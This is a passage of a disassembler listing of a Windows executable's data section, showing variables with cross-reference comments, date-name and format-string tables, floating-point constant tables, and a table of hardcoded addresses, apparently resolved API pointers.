... dword_443ED0 dd 0FFFFF1F0h ; DATA XREF: sub_423ED0+DEr ; sub_42BAC0+D7w ... dword_443ED4 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_443F54o dword_443F14 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_443F58o off_443F54 dd offset dword_443ED4 ; DATA XREF: sub_42BAC0+FAr ; sub_42BAC0+123r ... off_443F58 dd offset dword_443F14 ; DATA XREF: sub_42BAC0+140r ; sub_42BAC0+16Ar ... align 10h dword_443F60 dd 0FFFFFFFFh ; DATA XREF: sub_42BAC0+30w ; sub_42BEA0+1Ar ... dword_443F64 dd 0 ; DATA XREF: sub_42BEA0:loc_42C09Br ; sub_42BEA0+20Fr ... dword_443F68 dd 0 ; DATA XREF: sub_42BEA0+2CFr ; sub_42C1A0+13Dw align 10h dword_443F70 dd 0FFFFFFFFh ; DATA XREF: sub_42BAC0+21w ; sub_42BAC0+2Br ... dword_443F74 dd 0 ; DATA XREF: sub_42BEA0+201r ; sub_42BEA0+21Dr ... dword_443F78 dd 0 ; DATA XREF: sub_42BEA0+2E5r ; sub_42C1A0+1Dr ... dword_443F7C dd 0FFFFFFFFh ; DATA XREF: sub_42C1A0+B0r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_443FAC dd 16Dh ; DATA XREF: sub_423ED0+2Er ; sub_42C1A0+2Cr ... dword_443FB0 dd 0FFFFFFFFh ; DATA XREF: sub_42C1A0+BFr dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch off_443FE4 dd offset off_443FE8 ; DATA XREF: sub_429780+70w ; sub_429780:loc_429821w ... off_443FE8 dd offset aSun ; DATA XREF: sub_429780:loc_429821o ; .data:off_443FE4o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm_0 ; "AM" dd offset aPm_1 ; "PM" dd offset aMDYy ; "M/d/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset aHMmSs ; "H:mm:ss" align 8 dword_444098 dd 2Eh, 0 ; DATA XREF: sub_42A100+EEo ; .data:off_4440A0o off_4440A0 dd offset dword_444098 ; DATA XREF: sub_42A430+D4w ; sub_42A430+F6o ... off_4440A4 dd offset dword_4923F8 ; DATA XREF: sub_42A430+E2w off_4440A8 dd offset dword_4923F8 ; DATA XREF: sub_42A430+F1w dd offset dword_4923F8 dd offset dword_4923F8 dd offset dword_4923F8 dd offset dword_4923F8 dd offset dword_4923F8 dd offset dword_4923F8 dd offset dword_4923F8 dd 2 dup(7F7F7F7Fh) off_4440D0 dd offset off_4440A0 ; DATA XREF: sub_42A100:loc_42A1E9r ; sub_42A100+F8r ... align 10h dword_4440E0 dd 2 dup(0) ; DATA XREF: sub_42FDD0+6o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_444240 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42FDD0+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 2 dup(0) byte_4443A4 db 0 ; DATA XREF: sub_401000+36r align 4 dword_4443A8 dd 0 ; DATA XREF: sub_401000+9Co dword_4443AC dd 0 ; DATA XREF: sub_401000+A1o byte_4443B0 db 0 ; DATA XREF: sub_4010E6+37r align 8 dword_4443B8 dd 0 ; DATA XREF: sub_40291D+18r ; sub_402D70+92w ... dword_4443BC dd 0 ; DATA XREF: sub_403076+4Dr ; sub_40328A+D9w ... dd 3E1h dup(0) db 0 byte_445345 db 3 dup(0) ; DATA XREF: .data:00443A78o dd 4 dup(0) dword_445358 dd 6 dup(0) ; DATA XREF: sub_403076+CFo ; sub_403076+138o ... dword_445370 dd 0 ; DATA XREF: sub_402994+82w ; sub_402994+102o dword_445374 dd 41h dup(0) ; DATA XREF: sub_402994+41o dword_445478 dd 41h dup(0) ; DATA XREF: sub_402994+63o dword_44557C dd 0 ; DATA XREF: sub_402994+F8w ; sub_402994+114r dword_445580 dd 0 ; DATA XREF: sub_402994+52w dword_445584 dd 0 ; DATA XREF: sub_402994+4Dw ; sub_402994+CFr dword_445588 dd 20h dup(0) ; DATA XREF: sub_402994+9Ao ; sub_402994+BAo dword_445608 dd 0 ; DATA XREF: sub_402994+8Fw dword_44560C dd 0 ; DATA XREF: sub_402994+A7w ; sub_402994+C7w dword_445610 dd 0 ; DATA XREF: sub_402994:loc_402ABEr align 8 dword_445618 dd 0 ; DATA XREF: sub_402994+2D5w ; sub_402994+32Eo dword_44561C dd 4Dh dup(0) ; DATA XREF: sub_402994+2C3o dword_445750 dd 55h dup(0) ; DATA XREF: .data:off_438694o dword_4458A4 dd 41h dup(0) ; DATA XREF: sub_402994+28Do dword_4459A8 dd 0 ; DATA XREF: sub_402994+2BAw ; sub_402994+2E1r align 10h dword_4459B0 dd 0 ; DATA XREF: sub_402994+324w ; sub_402994+340r dword_4459B4 dd 0 ; DATA XREF: sub_402994+2E7w dword_4459B8 dd 0 ; DATA XREF: sub_402994+2F4w dword_4459BC dd 0 ; DATA XREF: sub_402994+2B4w dd 0 dword_4459C4 dd 0 ; DATA XREF: sub_402994:loc_402CEAr dword_4459C8 dd 0 ; DATA XREF: sub_402994+1A1w ; sub_402994+221o dword_4459CC dd 41h dup(0) ; DATA XREF: sub_402994+163o dword_445AD0 dd 41h dup(0) ; DATA XREF: sub_402994+182o dword_445BD4 dd 0 ; DATA XREF: sub_402994+217w ; sub_402994+233r dword_445BD8 dd 0 ; DATA XREF: sub_402994+171w dword_445BDC dd 0 ; DATA XREF: sub_402994+1EEr dword_445BE0 dd 20h dup(0) ; DATA XREF: sub_402994+1B9o ; sub_402994+1D9o dword_445C60 dd 0 ; DATA XREF: sub_402994+1AEw dword_445C64 dd 0 ; DATA XREF: sub_402994+1C6w ; sub_402994+1E6w dword_445C68 dd 0 ; DATA XREF: sub_402994:loc_402BDEr align 10h dword_445C70 dd 1000h dup(0) ; DATA XREF: sub_4035E1+1Do ; .text:004036CBo ... dword_449C70 dd 0 ; DATA XREF: sub_4035E1+13o ; .text:00403712o ... dword_449C74 dd 0 ; DATA XREF: sub_403B83+Fr ; sub_403D7C+12r dd 18h dup(0) dword_449CD8 dd 2 dup(0) ; DATA XREF: sub_40449C:loc_40452Fo dword_449CE0 dd 0 ; DATA XREF: sub_405084+431o dword_449CE4 dd 0Eh dup(0) ; DATA XREF: sub_4055AD+Fo dword_449D1C dd 2 dup(0) ; DATA XREF: sub_405938+C8o dword_449D24 dd 0 ; DATA XREF: sub_405938+62o dword_449D28 dd 80h dup(0) ; DATA XREF: sub_406355+41o dword_449F28 dd 200h dup(0) ; DATA XREF: sub_405C86+C7o ; sub_405FE1+DDo ... dword_44A728 dd 200h dup(0) ; DATA XREF: sub_405C86+D6o ; sub_405FE1+F4o ... dword_44AF28 dd 0 ; DATA XREF: sub_405C86+86w ; sub_405E58+94r dword_44AF2C dd 0 ; DATA XREF: sub_405C86+A7w ; sub_4062BE+55r ... dword_44AF30 dd 0 ; DATA XREF: sub_405C86+A0w ; sub_405E58+D6r ... dword_44AF34 dd 0 ; DATA XREF: sub_405C86+79w ; sub_405E58+35r ... dword_44AF38 dd 80h dup(0) ; DATA XREF: sub_4062BE+5Eo dword_44B138 dd 0 ; DATA XREF: sub_405C86+93w ; sub_405E58+A2r align 10h dword_44B140 dd 0 ; DATA XREF: sub_405C86+E7o ; sub_405C86+103r ... dword_44B144 dd 0 ; DATA XREF: sub_405FE1+17Bw ; sub_406188+107w dword_44B148 dd 0 ; DATA XREF: sub_405FE1+180w ; sub_406188+10Dw ... dword_44B14C dd 0 ; DATA XREF: sub_405FE1+159w ; sub_4062BE+4Fr dword_44B150 dd 0 ; DATA XREF: sub_406C1D+2Aw ; sub_406C1D+51r ... dword_44B154 dd 0 ; DATA XREF: sub_401A3C+ACr ; sub_406614+72w ... dd 3 dup(0) dword_44B164 dd 0 ; DATA XREF: sub_407D34+74o byte_44B168 db 0 ; DATA XREF: sub_407E55+1D3w ; sub_407E55+2D2o align 2 word_44B16A dw 0 ; DATA XREF: sub_407E55+1E3w word_44B16C dw 0 ; DATA XREF: sub_407E55+1E9w word_44B16E dw 0 ; DATA XREF: sub_407E55+1F0w byte_44B170 db 0 ; DATA XREF: sub_407E55+1F7w byte_44B171 db 0 ; DATA XREF: sub_407E55+1FEw word_44B172 dw 0 ; DATA XREF: sub_407E55+204w dword_44B174 dd 0 ; DATA XREF: sub_407E55+234w ; sub_407E55+250w dword_44B178 dd 0 ; DATA XREF: sub_407E55+258w byte_44B17C db 0 ; DATA XREF: sub_407E55+26Aw byte_44B17D db 0 ; DATA XREF: sub_407E55+27Dw word_44B17E dw 0 ; DATA XREF: sub_407E55+295w word_44B180 dw 0 ; DATA XREF: sub_407E55+2A4w word_44B182 dw 0 ; DATA XREF: sub_407E55+29Cw dword_44B184 dd 101h dup(0) ; DATA XREF: sub_407E55+2B9o dword_44B588 dd 77C72C6Bh ; DATA XREF: sub_403948+210r ; sub_403948+21Ar ... dword_44B58C dd 77EBA994h ; DATA XREF: sub_40888A+65w ; sub_40B4F2+166r dword_44B590 dd 7622A3F4h ; DATA XREF: sub_40888A+7EDw ; sub_40888A+862r ... dword_44B594 dd 71C45229h ; DATA XREF: sub_40888A+9BAw ; sub_40888A+A18r ... dword_44B598 dd 71C24870h ; DATA XREF: sub_40888A+96Cw ; sub_40888A+9E8r ... dword_44B59C dd 77C71BB0h ; DATA XREF: sub_403948+D1r ; sub_40888A+46Fw ... dword_44B5A0 dd 77D4808Bh ; DATA XREF: sub_4085A9+ECr ; sub_4085A9+109r ... dword_44B5A4 dd 71C4502Ch ; DATA XREF: sub_40888A+9ADw ; sub_40888A+A10r ... dword_44B5A8 dd 77DE801Bh ; DATA XREF: sub_40888A+354w ; sub_40888A+3A9r ... dword_44B5AC dd 77DDACABh ; DATA XREF: sub_40888A+3F1w ; sub_415430+11Er dword_44B5B0 dd 77DE8075h ; DATA XREF: sub_40888A+361w ; sub_40888A+3B1r ... dword_44B5B4 dd 77DD7496h ; DATA XREF: sub_40888A+3A2w ; sub_40A48F+ADr dword_44B5B8 dd 71AB1B7Bh ; DATA XREF: sub_406D34+115r ; sub_40888A+53Cw ... dword_44B5BC dd 77E686CCh ; DATA XREF: sub_405675+1Br ; sub_40888A+72w ... dword_44B5C0 dd 71C2498Bh ; DATA XREF: sub_40888A+95Fw ; sub_40888A+9DBr ... dword_44B5C4 dd 77DDAB2Fh ; DATA XREF: sub_40888A+388w ; sub_40888A+3C9r ... dword_44B5C8 dd 7620E8C3h ; DATA XREF: sub_40888A+83Bw ; sub_40888A+88Er ... dword_44B5CC dd 77DD23D7h ; DATA XREF: sub_403FBB+53r ; sub_40888A+2A5w ... dword_44B5D0 dd 76214750h ; DATA XREF: sub_405084+3Ar ; sub_40888A+82Ew ... dword_44B5D4 dd 77E6D75Bh ; DATA XREF: sub_40888A+B3w dword_44B5D8 dd 7620BD61h ; DATA XREF: sub_405084+109r ; sub_40888A+848w ... dword_44B5DC dd 71AB60C9h ; DATA XREF: sub_40888A+52Fw ; sub_40888A+6B2r ... dword_44B5E0 dd 77EBA6E9h ; DATA XREF: sub_40888A+58w ; sub_40888A+CAr ... dword_44B5E4 dd 76D62A58h ; DATA XREF: sub_40888A+916w ; sub_40B0E5+11Ar dword_44B5E8 dd 76F36EAAh ; DATA XREF: sub_40888A+A66w ; sub_40888A+A6Dr ... dword_44B5EC dd 77E802FCh ; DATA XREF: sub_40888A+A6w ; sub_40888A+F2r dword_44B5F0 dd 77C75455h ; DATA XREF: sub_403948+119r ; sub_40888A+462w ... dword_44B5F4 dd 71AB12A7h ; DATA XREF: sub_402D28+20r ; sub_40888A+5D8w ... dword_44B5F8 dd 71C574FAh ; DATA XREF: sub_40888A+9A0w ; sub_40888A+A08r dword_44B5FC dd 71AB1746h ; DATA XREF: sub_40465D+A5r ; sub_40888A+5CBw ... dword_44B600 dd 71B28D0Dh ; DATA XREF: sub_4010E6+9Ar ; sub_40888A+B21w dword_44B604 dd 762211EFh ; DATA XREF: sub_40888A+7E0w ; sub_40888A+84Fr ... dword_44B608 dd 77D902E3h ; DATA XREF: sub_40888A+1B3w ; sub_409D0C+15r dword_44B60C dd 71C2FA86h ; DATA XREF: sub_40888A+979w ; sub_40888A+9F0r ... dword_44B610 dd 77DE1291h ; DATA XREF: sub_40888A+36Ew ; sub_40888A+3B9r ... dword_44B614 dd 77E2C1B3h ; DATA XREF: sub_40888A+37Bw ; sub_40888A+3C1r ... dword_44B618 dd 73B81E3Bh ; DATA XREF: sub_403B83+28r ; sub_403D7C+2Br ... dword_44B61C dd 71ABF628h ; DATA XREF: sub_40888A+68Ew ; sub_41301C+D0r dword_44B620 dd 71AB1836h ; DATA XREF: sub_404CEF:loc_40501Ar ; sub_405084+46Cr ... dword_44B624 dd 77C72889h ; DATA XREF: sub_403948+207r ; sub_40888A+496w dword_44B628 dd 71C453F8h ; DATA XREF: sub_40888A+9C7w ; sub_40888A+A20r ... dword_44B62C dd 77DD5C55h ; DATA XREF: sub_4038C0+51r ; sub_40888A+2B2w ... dword_44B630 dd 77E96645h ; DATA XREF: sub_4058B3+25r ; sub_4058B3+39r ... dword_44B634 dd 77428B97h ; DATA XREF: sub_405084+33Cr ; sub_40888A+B6Ew ... dword_44B638 dd 71AB41DAh ; DATA XREF: sub_404CEF+2Fr ; sub_407D34+17r ... dword_44B63C dd 762059A3h ; DATA XREF: sub_40888A+807w ; sub_40888A+872r ... dword_44B640 dd 71C4A1B4h ; DATA XREF: sub_40888A+986w ; sub_40888A+9F8r dword_44B644 dd 1F7CD214h ; DATA XREF: sub_40888A+BDFw ; sub_40888A+C10r dword_44B648 dd 77D4456Bh ; DATA XREF: sub_4085A9+40r ; sub_4085A9+63r ... dword_44B64C dd 76D629BBh ; DATA XREF: sub_40888A+8FCw ; sub_40888A+910r ... dword_44B650 dd 1F7B9D96h ; DATA XREF: sub_40888A+BF9w dword_44B654 dd 71AB1740h ; DATA XREF: .text:00402FC5r ; sub_404CEF:loc_404FE4r ... dword_44B658 dd 7620AFB6h ; DATA XREF: sub_40888A+821w ; sub_40888A+855r dword_44B65C dd 77D5C13Ah ; DATA XREF: sub_4085A9+50r ; sub_4085A9+78r ... dword_44B660 dd 77D45B19h ; DATA XREF: sub_403B83+3Fr ; sub_403B83+69r ... dword_44B664 dd 71AB157Eh ; DATA XREF: sub_40465D+9Cr ; sub_40888A+65Aw ... dword_44B668 dd 71AB3E5Dh ; DATA XREF: sub_4013F1+20Ar ; .text:00401909r ... dword_44B66C dd 71AB14DCh ; DATA XREF: sub_40888A+549w ; sub_40888A+6BEr ... dword_44B670 dd 0CC0004h ; DATA XREF: sub_405084+34r ; sub_40888A+8BDw ... dword_44B674 dd 77DD590Bh ; DATA XREF: sub_4038C0+26r ; sub_40888A+28Bw ... dword_44B678 dd 71ABD755h ; DATA XREF: sub_40888A+681w ; sub_40888A+79Er ... dword_44B67C dd 77DF7311h ; DATA XREF: sub_40888A+30Fw ; sub_40888A+323r ... dword_44B680 dd 77DDA2AFh ; DATA XREF: sub_40888A+395w ; sub_40888A+3D1r ... dword_44B684 dd 1F7CD927h ; DATA XREF: sub_40888A+BD2w ; sub_40888A+C08r dword_44B688 dd 76206853h ; DATA XREF: sub_40888A+7FAw ; sub_40888A+86Ar ... dword_44B68C dd 77D4932Ch ; DATA XREF: sub_4085A9+FCr ; sub_40888A+206w ... dword_44B690 dd 77D5E310h ; DATA XREF: sub_40888A+18Cw ; sub_40888A+1D2r ... dword_44B694 dd 76206B7Fh ; DATA XREF: sub_40888A+814w ; sub_40888A+87Ar ... dword_44B698 dd 71AB1444h ; DATA XREF: .text:00403025r ; sub_40888A+606w ... dword_44B69C dd 77DD189Ah ; DATA XREF: sub_4038C0+5Ar ; sub_403FBB+19Ar ... dword_44B6A0 dd 71AB3F8Dh ; DATA XREF: sub_404CEF+6Fr ; sub_407E55+AAr ... dword_44B6A4 dd 77DD5D20h ; DATA XREF: sub_40888A+302w ; sub_40888A+316r ... dword_44B6A8 dd 71AB1890h ; DATA XREF: sub_402E0C+82r ; sub_40465D+1B7r ... dword_44B6AC dd 77C76B34h ; DATA XREF: sub_403948+16r ; sub_40888A+42Ew ... dword_44B6B0 dd 77D5E38Ch ; DATA XREF: sub_40888A+199w ; sub_40888A+1DAr ... dword_44B6B4 dd 77DDA20Bh ; DATA XREF: sub_40888A+347w ; sub_40888A+39Cr ... dword_44B6B8 dd 76F36EEBh ; DATA XREF: sub_40888A+A73w dword_44B6BC dd 71AB12A7h ; DATA XREF: sub_402D28+2Br ; sub_40465D+156r ... dword_44B6C0 dd 71AB1746h ; DATA XREF: sub_4013F1+1BAr ; .text:004017F1r ... dword_44B6C4 dd 77EBA595h ; DATA XREF: sub_40888A+4Bw ; sub_40888A+C2r ... dword_44B6C8 dd 77C7531Dh ; DATA XREF: sub_403948+2Cr ; sub_403948+38r ... dword_44B6CC dd 77D4BDCAh ; DATA XREF: sub_40888A+165w ; sub_40888A+1BAr ... dword_44B6D0 dd 71C3516Ah ; DATA XREF: sub_40888A+9E1w ; sub_40AD78+72r dword_44B6D4 dd 71AB32CAh ; DATA XREF: sub_40888A+667w ; sub_40888A+78Er dword_44B6D8 dd 71AB5690h ; DATA XREF: sub_4013F1+23Br ; sub_4013F1+263r ... dword_44B6DC dd 1F7CB8F8h ; DATA XREF: sub_40888A+BECw ; sub_40888A+C18r dword_44B6E0 dd 77EBB1E7h ; DATA XREF: sub_40888A+3Ew ; sub_40888A+BAr ... dword_44B6E4 dd 77DD59F0h ; DATA XREF: sub_4038C0+45r ; sub_40888A+298w ... dword_44B6E8 dd 71AB5DE2h ; DATA XREF: sub_40465D+F3r ; sub_406D34+9Er ... dword_44B6EC dd 71AB3ECEh ; DATA XREF: sub_40465D+78r ; sub_406D34+89r ... dword_44B6F0 dd 73B81B0Fh ; DATA XREF: sub_40888A+C63w ; sub_40C50A+4642r dword_44B6F4 dd 76204E4Dh ; DATA XREF: sub_405084+4DCr ; sub_40888A+85Bw ... dword_44B6F8 dd 0 ; DATA XREF: sub_40888A+112w dword_44B6FC dd 1F7D886Ah ; DATA XREF: sub_40888A+BB8w ; sub_40888A+BF3r dword_44B700 dd 71AB12F8h ; DATA XREF: sub_4013F1+1C8r ; .text:004017FFr ... dword_44B704 dd 77C76551h ; DATA XREF: sub_403948+BCr ; sub_40888A+43Bw ... dword_44B708 dd 77C729E2h ; DATA XREF: sub_403948+FBr ; sub_40888A+47Cw ... dword_44B70C dd 77C7212Fh ; DATA XREF: sub_403948+65r ; sub_40888A+448w ... dword_44B710 dd 71AB1AF4h ; DATA XREF: sub_4013F1+221r ; sub_4013F1+249r ... dword_44B714 dd 77D5E303h ; DATA XREF: sub_40888A+1A6w ; sub_40888A+1E2r ... dword_44B718 dd 71C4576Ch ; DATA XREF: sub_40888A+9D4w ; sub_40888A+A28r ... dword_44B71C dd 77D4702Fh ; DATA XREF: sub_403B83+53r ; sub_403B83+7Fr ... dword_44B720 dd 77E6C0E3h ; DATA XREF: sub_40562C+4r ; sub_40888A+8Cw ... dword_44B724 dd 71AB1ED3h ; DATA XREF: .text:00402FB7r ; sub_404CEF+2C2r ... dword_44B728 dd 71B2A381h ; DATA XREF: sub_40888A+B14w ; sub_40888A+B30r dword_44B72C dd 77DDA595h ; DATA XREF: sub_40888A+31Cw ; sub_40B487+55r dword_44B730 dd 77DD22EAh ; DATA XREF: sub_403FBB+3Ar ; sub_40888A+27Ew ... dword_44B734 dd 773F97B0h ; DATA XREF: sub_40888A+B7Bw dword_44B738 dd 76D67A29h ; DATA XREF: sub_40888A+ABDw ; sub_40AF08+D4r dword_44B73C dd 76D674FAh ; DATA XREF: sub_40888A+AB0w ; sub_40888A+AB7r ... dword_44B740 dd 71AB3C22h ; DATA XREF: sub_4013F1+18Dr ; .text:004017C4r ... dword_44B744 dd 71AB2BBFh ; DATA XREF: sub_404416+50r ; sub_40888A+674w ... dword_44B748 dd 1F7BA3A9h ; DATA XREF: sub_40888A+BC5w ; sub_40888A+C00r dword_44B74C dd 71AB401Ch ; DATA XREF: sub_40291D+1Fr ; sub_403076+86r ... dword_44B750 dd 71C214BAh ; DATA XREF: sub_40888A+993w ; sub_40888A+A00r ... dword_44B754 dd 71AB868Dh ; DATA XREF: sub_40465D+1F1r ; sub_406D34+13Ar ... dword_44B758 dd 71AB1A6Dh ; DATA XREF: sub_4013F1:loc_401669r ; sub_4013F1+28Cr ... dword_44B75C dd 71AB155Ah ; DATA XREF: sub_402E0C+4Cr ; sub_406D34+B7r ... dword_44B760 dd 71B22C25h ; DATA XREF: sub_401000+B3r ; sub_401000+CBr ... dword_44B764 dd 71AB5A01h ; DATA XREF: sub_404CEF+4Fr ; sub_40888A+522w ... dword_44B768 dd 71B2ACCBh ; DATA XREF: sub_40888A+AFAw ; sub_40888A+B1Br dword_44B76C dd 77E78C17h ; DATA XREF: sub_40888A+31w ; sub_40888A+ADr ... dword_44B770 dd 77D49A11h ; DATA XREF: sub_403B83+1ECr ; sub_403D7C+232r ... align 8 dword_44B778 dd 76D62A37h ; DATA XREF: sub_40888A+909w ; sub_40888A+91Dr ... dword_44B77C dd 77E6CBF9h ; DATA XREF: sub_40888A+99w ; sub_40888A+EAr ... dword_44B780 dd 0 ; DATA XREF: sub_40888A:loc_408988w ; sub_40888A+12Bw ... dword_44B784 dd 0 ; DATA XREF: sub_40888A+126w ; sub_409517+1Cr dword_44B788 dd 0 ; DATA XREF: sub_40888A:loc_408A78w ; sub_40888A:loc_408ADFw ... dword_44B78C dd 0 ; DATA XREF: sub_40888A+250w ; sub_409517+50r dword_44B790 dd 0 ; DATA XREF: sub_40888A:loc_408B74w ; sub_40888A:loc_408BB9w ... dword_44B794 dd 0 ; DATA XREF: sub_40888A+400w ; sub_409517+84r dword_44B798 dd 0 ; DATA XREF: sub_40888A:loc_408D70w ; sub_409517:loc_4095C7r dword_44B79C dd 0 ; DATA XREF: sub_40888A+4E1w ; sub_409517+B8r dword_44B7A0 dd 0 ; DATA XREF: sub_40888A:loc_409041w ; sub_409517:loc_4095FBr dword_44B7A4 dd 0 ; DATA XREF: sub_40888A+7B2w ; sub_409517+ECr dword_44B7A8 dd 0 ; DATA XREF: sub_40888A:loc_40912Cw ; sub_40888A+8D1w ... dword_44B7AC dd 0 ; DATA XREF: sub_40888A+8CCw ; sub_409517+120r dword_44B7B0 dd 0 ; DATA XREF: sub_40888A:loc_4091C0w ; sub_409517:loc_409663r ... dword_44B7B4 dd 0 ; DATA XREF: sub_40888A+931w ; sub_409517+154r dword_44B7B8 dd 0 ; DATA XREF: sub_40888A:loc_4092CBw ; sub_409517:loc_409697r ... dword_44B7BC dd 0 ; DATA XREF: sub_40888A+A3Cw ; sub_409517+188r dword_44B7C0 dd 0 ; DATA XREF: sub_40888A:loc_409315w ; sub_409517:loc_4096CBr dword_44B7C4 dd 0 ; DATA XREF: sub_40888A+A86w ; sub_409517+1BCr dword_44B7C8 dd 0 ; DATA XREF: sub_40888A:loc_40935Fw ; sub_409517:loc_4096FFr dword_44B7CC dd 0 ; DATA XREF: sub_40888A+AD0w ; sub_409517+1F0r dword_44B7D0 dd 0 ; DATA XREF: sub_40888A:loc_4093D3w ; sub_409517:loc_409733r dword_44B7D4 dd 0 ; DATA XREF: sub_40888A+B44w ; sub_409517+224r dword_44B7D8 dd 0 ; DATA XREF: sub_40888A:loc_40941Dw ; sub_409517:loc_409767r dword_44B7DC dd 0 ; DATA XREF: sub_40888A+B8Ew ; sub_409517+258r dword_44B7E0 dd 0 ; DATA XREF: sub_40888A:loc_4094BBw ; sub_409517:loc_40979Br dword_44B7E4 dd 0 ; DATA XREF: sub_40888A+C2Cw ; sub_409517+28Cr dword_44B7E8 dd 0 ; DATA XREF: sub_40888A:loc_409505w ; sub_409517:loc_4097CFr dword_44B7EC dd 0 ; DATA XREF: sub_40888A+C76w ; sub_409517+2C0r dword_44B7F0 dd 81h dup(0) ; DATA XREF: sub_409AA0+6Ao dword_44B9F4 dd 0 ; DATA XREF: sub_409D2E+E9o dword_44B9F8 dd 17h dup(0) ; DATA XREF: sub_409FDF:loc_40A0FCo ; sub_409FDF+131o ... dword_44BA54 dd 80h dup(0) ; DATA XREF: sub_40AD78+7Co ; sub_40AD78+A5o dword_44BC54 dd 0 ; DATA XREF: sub_40A359+45w ; sub_40A359+4Dr ... dword_44BC58 dd 17h dup(0) ; DATA XREF: sub_40AC44:loc_40AD66o ; sub_40AC44+12Do dword_44BCB4 dd 80h dup(0) ; DATA XREF: sub_40A29A+4Bo ; sub_40A29A+7Do ... byte_44BEB4 db 0 ; DATA XREF: sub_40A359+29r ; sub_40A359+34w align 4 dword_44BEB8 dd 80h dup(0) ; DATA XREF: sub_40A5B0+61o ; sub_40A5B0+88o ... dword_44C0B8 dd 81h dup(0) ; DATA XREF: sub_409EB6+33o ; sub_409EB6+50o ... dword_44C2BC dd 5 dup(0) ; DATA XREF: sub_40AFEC+32o dword_44C2D0 dd 2 dup(0) ; DATA XREF: .text:0040AE47o dword_44C2D8 dd 0 ; DATA XREF: sub_4034E9+Ao ; sub_4034E9+44r ... dd 5 dup(0) dword_44C2F0 dd 0 ; DATA XREF: sub_4034E9+60r ; sub_40C50A+B4Dr dd 2D9h dup(0) dword_44CE58 dd 0 ; DATA XREF: sub_403076+A5r ; sub_4034E9+2Do ... dd 7Fh dup(0) dword_44D058 dd 0 ; DATA XREF: sub_4161EB+41w ; sub_416326+40w ... dword_44D05C dd 0 ; DATA XREF: sub_403076:loc_4030BDr ; sub_403076+7Cr ... dword_44D060 dd 0 ; DATA XREF: sub_412E64+168w ; sub_4143B6+AEw ... dword_44D064 dd 0 ; DATA XREF: sub_405938+Cr ; 